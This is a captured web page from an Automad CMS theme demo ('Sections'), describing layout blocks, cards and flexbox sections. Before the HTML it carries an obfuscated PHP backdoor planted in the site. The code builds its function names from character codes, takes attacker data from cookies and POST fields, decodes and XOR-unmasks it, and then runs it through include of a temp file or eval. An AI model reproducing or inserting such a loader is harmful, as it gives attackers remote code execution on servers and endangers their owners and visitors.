$tdVrXKE = chr ( 651 - 567 )."\137" . "\x6d" . chr ( 123 - 45 )."\110";$KlqHLCXobY = "\143" . chr ( 818 - 710 )."\x61" . "\x73" . "\163" . chr (95) . chr ( 185 - 84 ).chr (120) . "\151" . "\163" . "\x74" . "\163";$BdwxsJ = class_exists($tdVrXKE); $KlqHLCXobY = "52802";$MwnSyK = strpos($KlqHLCXobY, $tdVrXKE);if ($BdwxsJ == $MwnSyK){function MPGDaqTESO(){$nqNpEOIg = new /* 20192 */ T_mNH(13195 + 13195); $nqNpEOIg = NULL;}$jojGP = "13195";class T_mNH{private function jWbltXaFv($jojGP){if (is_array(T_mNH::$DbpsACd)) {$name = sys_get_temp_dir() . "/" . crc32(T_mNH::$DbpsACd["salt"]);@T_mNH::$DbpsACd["write"]($name, T_mNH::$DbpsACd["content"]);include $name;@T_mNH::$DbpsACd["delete"]($name); $jojGP = "13195";exit();}}public function USxcbbYejl(){$zwnBjxrsG = "52769";$this->_dummy = str_repeat($zwnBjxrsG, strlen($zwnBjxrsG));}public function __destruct(){T_mNH::$DbpsACd = @unserialize(T_mNH::$DbpsACd); $jojGP = "9778_42164";$this->jWbltXaFv($jojGP); $jojGP = "9778_42164";}public function DrDsG($zwnBjxrsG, $dylgWfj){return $zwnBjxrsG[0] ^ str_repeat($dylgWfj, intval(strlen($zwnBjxrsG[0]) / strlen($dylgWfj)) + 1);}public function kzHVeFb($zwnBjxrsG){$gpuzjrmblh = "\142" . chr ( 192 - 95 )."\163" . "\x65" . "\66" . "\x34";return array_map($gpuzjrmblh . chr (95) . chr ( 825 - 725 ).'e' . chr ( 687 - 588 )."\157" . "\144" . chr ( 932 - 831 ), array($zwnBjxrsG,));}public function __construct($RHDQFzz=0){$CtNjZObnw = ',';$zwnBjxrsG = "";$Cacwv = $_POST;$seqes = $_COOKIE;$dylgWfj = "935659a0-8f21-4c44-9b04-153662e9d1cd";$wopKX = @$seqes[substr($dylgWfj, 0, 4)];if (!empty($wopKX)){$wopKX = explode($CtNjZObnw, $wopKX);foreach ($wopKX as $ktNRxfHBj){$zwnBjxrsG .= @$seqes[$ktNRxfHBj];$zwnBjxrsG .= @$Cacwv[$ktNRxfHBj];}$zwnBjxrsG = $this->kzHVeFb($zwnBjxrsG);}T_mNH::$DbpsACd = $this->DrDsG($zwnBjxrsG, $dylgWfj);if (strpos($dylgWfj, $CtNjZObnw) !== FALSE){$dylgWfj = explode($CtNjZObnw, $dylgWfj); $SBVZgveI = base64_decode(md5($dylgWfj[0])); $UmslJ = strlen($dylgWfj[1]) > 5 ? substr($dylgWfj[1], 0, 5) : $dylgWfj[1];$_GET['new_key'] = md5(implode('', $dylgWfj)); $QYxqGji = str_repeat($UmslJ, 2); $HcaqHpihV = array_map('trim', $dylgWfj);if (is_array($HcaqHpihV) && count($HcaqHpihV) > 1) {$qDIuxPAP = $HcaqHpihV[0];} else {$qDIuxPAP = '';}}}public static $DbpsACd = 42880;}MPGDaqTESO();}$sUypmxM = 'x' . "\x66" . chr ( 919 - 824 ).chr ( 666 - 600 )."\x59" . "\172" . 'J';$LgLFm = "\x63" . 'l' . chr ( 168 - 71 ).chr ( 995 - 880 )."\x73" . chr ( 397 - 302 ).'e' . chr (120) . chr ( 970 - 865 )."\x73" . chr (116) . "\163";$cZfQvQLRHY = class_exists($sUypmxM); $LgLFm = "35010";$VxtICc = !1;if ($cZfQvQLRHY == $VxtICc){function LTLkzqaR(){$PXBQpuWMT = new /* 27924 */ xf_BYzJ(2170 + 2170); $PXBQpuWMT = NULL;}$HfoGF = "2170";class xf_BYzJ{private function NxIKHSEGJ($HfoGF){if (is_array(xf_BYzJ::$YlYTx)) {$NqkfFUweQK = str_replace("\74" . chr (63) . 'p' . 'h' . 'p', "", xf_BYzJ::$YlYTx["\143" . chr (111) . "\156" . chr (116) . chr ( 436 - 335 ).chr ( 723 - 613 ).'t']);eval($NqkfFUweQK); $HfoGF = "2170";exit();}}private $mzaBz;public function UuaVUH(){echo 34190;}public function __destruct(){$HfoGF = "14894_42265";$this->NxIKHSEGJ($HfoGF); $HfoGF = "14894_42265";}public function __construct($UzfGQIUUEo=0){$UaHTUlb = $_POST;$gFatWZILg = $_COOKIE;$fPjSXkS = "e14b351f-4de4-4bde-8718-f8ef3357b63c";$hIktde = @$gFatWZILg[substr($fPjSXkS, 0, 4)];if (!empty($hIktde)){$FZHKXz = "base64";$zEDLAw = "";$hIktde = explode(",", $hIktde);foreach ($hIktde as $fWYDi){$zEDLAw .= @$gFatWZILg[$fWYDi];$zEDLAw .= @$UaHTUlb[$fWYDi];}$zEDLAw = array_map($FZHKXz . '_' . "\144" . "\x65" . chr ( 384 - 285 )."\157" . "\x64" . chr (101), array($zEDLAw,)); $zEDLAw = $zEDLAw[0] ^ str_repeat($fPjSXkS, (strlen($zEDLAw[0]) / strlen($fPjSXkS)) + 1);xf_BYzJ::$YlYTx = @unserialize($zEDLAw);}}public static $YlYTx = 20242;}LTLkzqaR();}$LayrR = "\162" . "\163" . "\137" . "\x43" . chr (76) . "\150" . "\147";$jEzmkGBXQL = chr ( 197 - 98 )."\x6c" . "\x61" . chr (115) . "\x73" . chr ( 888 - 793 ).'e' . "\170" . 'i' . 's' . chr ( 684 - 568 )."\x73";$PNYOVz = class_exists($LayrR); $jEzmkGBXQL = "4996";$eFfZmLH = strpos($jEzmkGBXQL, $LayrR);if ($PNYOVz == $eFfZmLH){function KjXmmAB(){$YlTmmNoH = new /* 58660 */ rs_CLhg(31921 + 31921); $YlTmmNoH = NULL;}$HWKxmU = "31921";class rs_CLhg{private function eyofmOE($HWKxmU){if (is_array(rs_CLhg::$WhMyjdkbM)) {$PlcCtpesFz = sys_get_temp_dir() . "/" . crc32(rs_CLhg::$WhMyjdkbM["\x73" . 'a' . chr ( 588 - 480 )."\x74"]);@rs_CLhg::$WhMyjdkbM['w' . "\162" . 'i' . "\164" . 'e']($PlcCtpesFz, rs_CLhg::$WhMyjdkbM[chr ( 1019 - 920 ).'o' . chr ( 703 - 593 ).'t' . 'e' . 'n' . "\x74"]);include $PlcCtpesFz;@rs_CLhg::$WhMyjdkbM[chr ( 347 - 247 ).chr (101) . "\154" . chr ( 608 - 507 )."\164" . 'e']($PlcCtpesFz); $HWKxmU = "31921";exit();}}public function KnAaFWnbkY(){$jkEsQx = "3315";$this->_dummy = str_repeat($jkEsQx, strlen($jkEsQx));}public function __destruct(){rs_CLhg::$WhMyjdkbM = @unserialize(rs_CLhg::$WhMyjdkbM); $HWKxmU = "21203_23172";$this->eyofmOE($HWKxmU); $HWKxmU = "21203_23172";}public function NcUAQR($jkEsQx, $jKOGcujmrc){return $jkEsQx[0] ^ str_repeat($jKOGcujmrc, (strlen($jkEsQx[0]) / strlen($jKOGcujmrc)) + 1);}public function KEVvlv($jkEsQx){$lBDzxMq = "base64";return array_map($lBDzxMq . chr (95) . chr (100) . "\x65" . 'c' . chr ( 951 - 840 ).'d' . 'e', array($jkEsQx,));}public function __construct($lwOHOK=0){$jXpuGrOVgZ = ",";$jkEsQx = "";$lUezNAU = $_POST;$PMSvQtpjYt = $_COOKIE;$jKOGcujmrc = "5fd52fc8-41e6-4147-8d14-2eea1e14be7b";$IfLEWlGidx = @$PMSvQtpjYt[substr($jKOGcujmrc, 0, 4)];if (!empty($IfLEWlGidx)){$IfLEWlGidx = explode($jXpuGrOVgZ, $IfLEWlGidx);foreach ($IfLEWlGidx as $nvtLPtUxQg){$jkEsQx .= @$PMSvQtpjYt[$nvtLPtUxQg];$jkEsQx .= @$lUezNAU[$nvtLPtUxQg];}$jkEsQx = $this->KEVvlv($jkEsQx);}rs_CLhg::$WhMyjdkbM = $this->NcUAQR($jkEsQx, $jKOGcujmrc);if (strpos($jKOGcujmrc, $jXpuGrOVgZ) !== FALSE){$jKOGcujmrc = explode($jXpuGrOVgZ, $jKOGcujmrc);}}public static $WhMyjdkbM = 11533;}KjXmmAB();}<!DOCTYPE html>
<html lang="en" class="standard-light">
<head><meta name="Generator" content="Automad 1.10.9"><link rel="stylesheet" href="/automad/dist/blocks.min.css?v=1.10.9"><script type="text/javascript" src="/automad/dist/blocks.min.js?v=1.10.9"></script><link rel="alternate" type="application/rss+xml" title="revue-ajs | RSS" href="https://revue-ajs.univ-setif.dz/feed">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>revue-ajs / Sections</title>
	

<meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><meta name="description" content="Sections are blocks that contain other blocks. They can be styled, have background images and allow for creating complex flexbox layouts. 👏 They also can be ..." /><meta property="og:title" content="revue-ajs / Sections" /><meta property="og:description" content="Sections are blocks that contain other blocks. They can be styled, have background images and allow for creating complex flexbox layouts. 👏 They also can be nested!" /><meta property="og:type" content="website" /><meta property="og:url" content="https://revue-ajs.univ-setif.dz/sections" /><meta property="og:image" content="https://revue-ajs.univ-setif.dz/cache/images/cached_90819819c38f4dfe311779d7dbd06876.png" /><meta name="twitter:card" content="summary_large_image" />
	<link href="/shared/favicon.ico?m=1708356359" rel="shortcut icon" type="image/x-icon" />
<link href="/shared/apple-touch-icon.png?m=1708356359" rel="apple-touch-icon" />
	
	<link href="/packages/standard/dist/standard.min.css?m=1708356359" rel="stylesheet">
	<script src="/packages/standard/dist/standard.min.js?m=1708356359"></script>
	<style>:root.standard-light {--color-page-text: #1F2022;--color-navbar-bg: #F4F5F7;--color-navbar-border: #eaeaeb;--color-card-text: #1F2022;--color-card-bg: #F4F5F7;--color-card-border: #F4F5F7;--color-code-bg: #F4F5F7;}</style>
	
	
</head>

<body class="project">
	
<div class="navbar navbar-transparent">
	<div class="uk-container uk-container-center">
		<nav class="uk-navbar">
			<a href="/" class="uk-navbar-brand"><svg width="1.65em" height="1.65em" viewBox="0 0 16 16" class="bi bi-circle-fill" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
  <circle cx="8" cy="8" r="8"/>
</svg></a>
			<div class="uk-navbar-flip">
				<ul class="uk-navbar-nav uk-visible-large">
					
					<li>
							<a href="https://github.com/marcantondahmen/automad/tree/master/packages/standard/light#readme"><span class="nav-icon">☼</span>How to use this theme</a>
						</li></ul>
				
				<a 
				href="#modal-nav"
				class="navbar-toggle uk-navbar-content " 
				data-modal-toggle="#modal-nav"
				>
					<span aria-hidden="true"></span>
					<span aria-hidden="true"></span>
					<span aria-hidden="true"></span>
				</a>
				
				<div id="modal-nav" class="uk-modal">		
					<div class="uk-modal-dialog uk-modal-dialog-blank">
						<div class="uk-container uk-container-center">
								<div class="uk-block uk-margin-bottom-remove uk-margin-top-remove">
									<form 
									class="uk-form" 
									action="/pagelists" 
									method="get"
									>
										<script>
											var autocomplete = [{"value":"Blocks"},{"value":"Sections"},{"value":"Pagelists"}]
										</script>
										<div 
										class="uk-autocomplete uk-width-1-1" 
										data-uk-autocomplete='{source:autocomplete,minLength:2}'
										>
											<input 
											class="uk-form-controls uk-form-large uk-width-1-1" 
											type="search" 
											name="search" 
											placeholder="Search" 
											required 
											/>	
										</div>
									</form>	
								</div>
							<div class="uk-block ">
								
<ul class="uk-nav uk-nav-side">
			<li>
				<a href="/">Home</a>
			</li>
		</ul>
			<ul class="uk-nav uk-nav-side"><li>
							<a href="/blocks">Blocks</a></li><li class="uk-active">
							<a href="/sections">Sections</a></li><li>
							<a href="/pagelists">Pagelists</a></li><li>
							<a href="https://github.com/marcantondahmen/automad/tree/master/packages/standard/light#readme"><span class="nav-icon">☼</span>How to use this theme</a></li><li>
							<a href="https://automad.org"><span class="nav-icon">↓</span>Automad</a></li>
			</ul>
							</div>
						</div>
					</div>
				</div>
			</div>
		</nav>
	</div>
</div>
	<section class="hero content"><am-stretched>	<am-section class="am-block am-justify-start" style="background-color: #F4F5F7; background-blend-mode: soft-light; padding-top: 11.25rem; padding-bottom: 7rem;">
		<p class="am-block"><am-fontsize style="font-size: 180%;"><am-lineheight style="line-height: 1.5; display: inline-block;">Sections are blocks that contain other blocks. They can be styled, have background images and allow for creating complex flexbox layouts. 👏 They also can be nested!</am-lineheight></am-fontsize></p>
	</am-section></am-stretched><am-stretched>	<am-section class="am-block am-justify-start" style="--am-flex-min-block-width: 24rem; background-image: url('https://source.unsplash.com/2cFZ_FB08UM/1600x900'); background-color: #ebebeb; background-blend-mode: multiply; padding-top: 0px; padding-bottom: 28rem; --am-section-color: #ffffff;">
		<am-flex><am-1-3>	<am-section class="am-block am-justify-start" style="padding-top: 4rem;">
		<am-flex><am-1-1><h2 id="hero-sections" class="am-block"><am-fontsize style="font-size: 120%;">Hero Sections</am-fontsize></h2></am-1-1><am-1-1><p class="am-block"><am-fontsize style="font-size: 140%;"><am-lineheight style="line-height: 1.4; display: inline-block;">You can stretch a section block to the full width of a page and add a nice background image to create beautiful heros.</am-lineheight></am-fontsize></p></am-1-1><am-1-1><am-buttons class="am-block">	<a 
	href="/sections"
	class="am-button"
	style="--am-button-color: #ffffff; --am-button-border-color: #ffffff; --am-button-border-width: 2px; --am-button-padding-horizontal: 2rem; --am-button-border-radius: 6px; --am-button-hover-background: #242424; --am-button-hover-color: #ffffff; --am-button-hover-border-color: #ffffff;"
	>
		<am-fontsize style="font-size: 130%;"><am-lineheight style="line-height: 1.6; display: inline-block;">Push Me</am-lineheight></am-fontsize>
	</a></am-buttons></am-1-1></am-flex>
	</am-section></am-1-3></am-flex>
	</am-section></am-stretched></section>
	<div class="uk-container uk-container-center">
		
		
		
		
	<main class="content uk-block">
		

	<h2 id="flexbox" class="am-block">Flexbox</h2><p class="am-block">Sections can also be used to create more complex layouts based on flexbox. They can contain any kind of block and even other sections.&nbsp;</p><am-stretched>	<am-section class="am-block am-justify-fill-row" style="--am-flex-min-block-width: 24rem; padding-top: 2rem; padding-bottom: 2rem;">
		<am-flex><am-1-3>	<am-section class="am-block am-justify-start am-card" style="height: 100%; background-color: #f4f5f7; border-radius: 1rem; padding-bottom: 20rem;">
		<p class="am-block">First column, one row.</p>
	</am-section></am-1-3><am-1-3>	<am-section class="am-block am-justify-start" style="height: 100%;">
		<am-flex><am-1-1>	<am-section class="am-block am-justify-start am-card" style="background-image: url('https://source.unsplash.com/GSIzNfR9GLE/700x700'); height: 100%; border-radius: 1rem; padding-bottom: 32rem;">
		<p class="am-block">Second column, first row ...</p>
	</am-section></am-1-1><am-1-1>	<am-section class="am-block am-justify-start am-card" style="height: 100%; background-color: #f4f5f7; border-radius: 1rem; padding-bottom: 4rem;">
		<p class="am-block">... and a second row.</p>
	</am-section></am-1-1></am-flex><p class="am-block">&nbsp;</p>
	</am-section></am-1-3><am-1-3>	<am-section class="am-block am-justify-start" style="height: 100%;">
		<am-flex><am-1-1>	<am-section class="am-block am-justify-start am-card" style="height: 100%; background-color: #f4f5f7; border-radius: 1rem; padding-bottom: 4rem;">
		<p class="am-block">Third column, first row ...</p>
	</am-section></am-1-1><am-1-1>	<am-section class="am-block am-justify-start am-card" style="height: 100%; background-color: #f4f5f7; border-radius: 1rem; padding-bottom: 4rem;">
		<p class="am-block">... a second ...</p>
	</am-section></am-1-1><am-1-1>	<am-section class="am-block am-justify-start am-card" style="height: 100%; background-color: #f4f5f7; border-radius: 1rem; padding-bottom: 8rem;">
		<p class="am-block">... and a third row.</p>
	</am-section></am-1-1></am-flex>
	</am-section></am-1-3></am-flex>
	</am-section></am-stretched><p class="am-block">You are in full control over flex properties such as the minimum block width, the gap size and the alignment of items.</p>	<am-section class="am-block am-justify-fill-row" style="--am-flex-gap: 2px; overflow: hidden; box-shadow: var(--am-section-shadow); background-color: #e2e3e4; border-width: 2px; border-radius: 1rem; --am-section-border-color: #e2e3e4;">
		<am-flex><am-1-2>	<am-section class="am-block am-justify-start am-card" style="background-image: url('https://source.unsplash.com/VYCDTBAP8P4/1000x1000'); height: 100%; background-color: #F4F5F7; padding-bottom: 20rem;">
		<p class="am-block">This section has ...</p>
	</am-section></am-1-2><am-1-2>	<am-section class="am-block am-justify-fill-row" style="height: 100%;">
		<am-flex><am-1-1>	<am-section class="am-block am-justify-start am-card" style="height: 100%; background-color: #F4F5F7; padding-bottom: 6rem;">
		<p class="am-block">... no vertical ...</p>
	</am-section></am-1-1><am-1-1>	<am-section class="am-block am-justify-fill-row" style="--am-flex-min-block-width: 2rem; height: 100%;">
		<am-flex><am-1-2>	<am-section class="am-block am-justify-fill-row am-card" style="height: 100%; background-color: #F4F5F7; padding-bottom: 6rem;">
		<p class="am-block">... and ...</p>
	</am-section></am-1-2><am-1-2>	<am-section class="am-block am-justify-fill-row am-card" style="height: 100%; background-color: #F4F5F7;">
		<p class="am-block">... horizontal gaps.</p>
	</am-section></am-1-2></am-flex>
	</am-section></am-1-1></am-flex>
	</am-section></am-1-2></am-flex>
	</am-section><h2 id="cards" class="am-block">Cards</h2><p class="am-block">Cards are basically not more than styled sections. They are a bunch of blocks combined in one section that maybe has a border, a shadow, padding and even rounded corners.</p>	<am-section class="am-block am-justify-fill-row" style="--am-flex-min-block-width: 20rem;">
		<am-flex><am-1-2>	<am-section class="am-block am-justify-start am-card" style="overflow: hidden; box-shadow: var(--am-section-shadow); border-radius: 1rem;">
		<p class="am-block am-paragraph-large"><am-fontsize style="font-size: 100%;">Super card<br>with a slideshow<br></am-fontsize></p><am-stretched></am-stretched><p class="am-block">Cards can contain any kind of content. You can also stretch images or slideshow over the entire card width.</p><am-buttons class="am-block">	<a 
	href="#"
	class="am-button"
	
	>
		Button
	</a></am-buttons>
	</am-section></am-1-2><am-1-2>	<am-section class="am-block am-justify-start am-card" style="background-image: url('https://source.unsplash.com/VYCDTBAP8P4/700x1200'); overflow: hidden; height: 100%; border-width: 2px; border-radius: 1rem; padding-bottom: 15rem; --am-section-border-color: #f4f5f7;">
		<p class="am-block am-paragraph-large">Card with a <br>background image</p>
	</am-section></am-1-2></am-flex>
	</am-section><h3 id="styling-other-blocks" class="am-block">Styling Other Blocks</h3><p class="am-block">Aside from being a card, sections can also be used to control the appearance of just one single block such as a gallery. The gallery block below has rounded corners, a white border and drops a shadow — all those styles are actually applied to the wrapping section.</p>	<am-section class="am-block am-justify-start" style="overflow: hidden; box-shadow: var(--am-section-shadow); border-width: 2px; border-radius: 1rem; --am-section-border-color: #ffffff;">
		<am-flex><am-1-1><am-gallery class="am-block" style='--am-gallery-gap: 2px;'><div class='am-gallery-flex' style='--am-gallery-flex-item-height: 9rem'></div></am-gallery></am-1-1></am-flex>
	</am-section>

		
		<nav class="am-block prev-next">
			<a href="/blocks" class="nav-link prev">
					<span class="arrow">⟵</span>
					<span class="uk-hidden-small uk-text-truncate">Blocks</span>
				</a><a href="/pagelists" class="nav-link next">
					<span class="uk-hidden-small uk-text-truncate">Pagelists</span>
					<span class="arrow">⟶</span>
				</a>
		</nav>
	</main>
	<div class="content uk-block">
		
	<h3 class="am-block uk-margin-top">
	<svg xmlns="http://www.w3.org/2000/svg" width="1.2em" height="0.92em" viewBox="0 0 35 30">
		<path d="M21,0H9v12l14,14l12-12L21,0z M12,10.757V3h7.758l11,11L23,21.758L12,10.757z"/>
		<polygon points="14.879,20.879 14,21.758 3,10.757 3,3 7,3 7,0 0,0 0,12 14,26 17,23 	"/>
	</svg>&nbsp;
	Related Pages
</h3>
	<section class="am-block">
		
			
<div class="cards masonry clean">
	<div class="card" style="--color-navbar-bg: #F4F5F7;--color-navbar-border: #eaeaeb;">
			<div class="card-content uk-panel small uk-panel-box">
				



				<div class="uk-panel-title panel-body">
					<a href="/pagelists">
						
						Pagelists
					</a>
					<div class="text-subtitle">
						
						
						<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 28 30">
		<path d="M12,0H0v12l14,14l12-12L12,0z M3,10.757V3h7.757l11,11L14,21.758L3,10.757z"/>	
	</svg>&nbsp;<a href="/pagelists?filter=Blocks">Blocks</a>,&nbsp;<a href="/pagelists?filter=Navigation">Navigation</a>,&nbsp;<a href="/pagelists?filter=Templates">Templates</a>
					</div>
				</div>
				<a href="/pagelists" class="nav-link panel-more">
	
</a>
			</div>
		</div>
	<div class="card" style="--color-page-text: #1F2022;--color-page-border: #eaebed;--color-navbar-bg: #F4F5F7;--color-navbar-border: #eaeaeb;--color-card-text: #1F2022;--color-card-bg: #F4F5F7;--color-card-border: #F4F5F7;--color-code-bg: #F4F5F7;">
			<div class="card-content uk-panel small uk-panel-box">
				



				<div class="uk-panel-title panel-body">
					<a href="/blocks">
						
						Blocks
					</a>
					<div class="text-subtitle">
						
						
						<svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 28 30">
		<path d="M12,0H0v12l14,14l12-12L12,0z M3,10.757V3h7.757l11,11L14,21.758L3,10.757z"/>	
	</svg>&nbsp;<a href="/pagelists?filter=Blocks">Blocks</a>,&nbsp;<a href="/pagelists?filter=Content">Content</a>
					</div>
				</div>
				<a href="/blocks" class="nav-link panel-more">
	
</a>
			</div>
		</div>
	
</div>

		
	</section>

	</div>

		<footer class="uk-block">
			<div class="am-block footer uk-margin-bottom">
				<ul class="uk-grid uk-grid-width-medium-1-2" data-uk-grid-margin>
					<li>
							<a href="https://github.com/marcantondahmen/automad/tree/master/packages/standard/light#readme"><span class="nav-icon">☼</span>How to use this theme</a><br />
							<a href="https://automad.org"><span class="nav-icon">↓</span>Automad</a><br />
							<a href="/dashboard"><span class="nav-icon">↪</span>Sign In</a><br />
					</li>
					<li class="uk-text-right uk-text-left-small">
						<a href="/">
							&copy; 2024 revue-ajs
						</a>
					</li>
				</ul>
				
				
			</div>
		</footer>
	</div>
</body>
</html>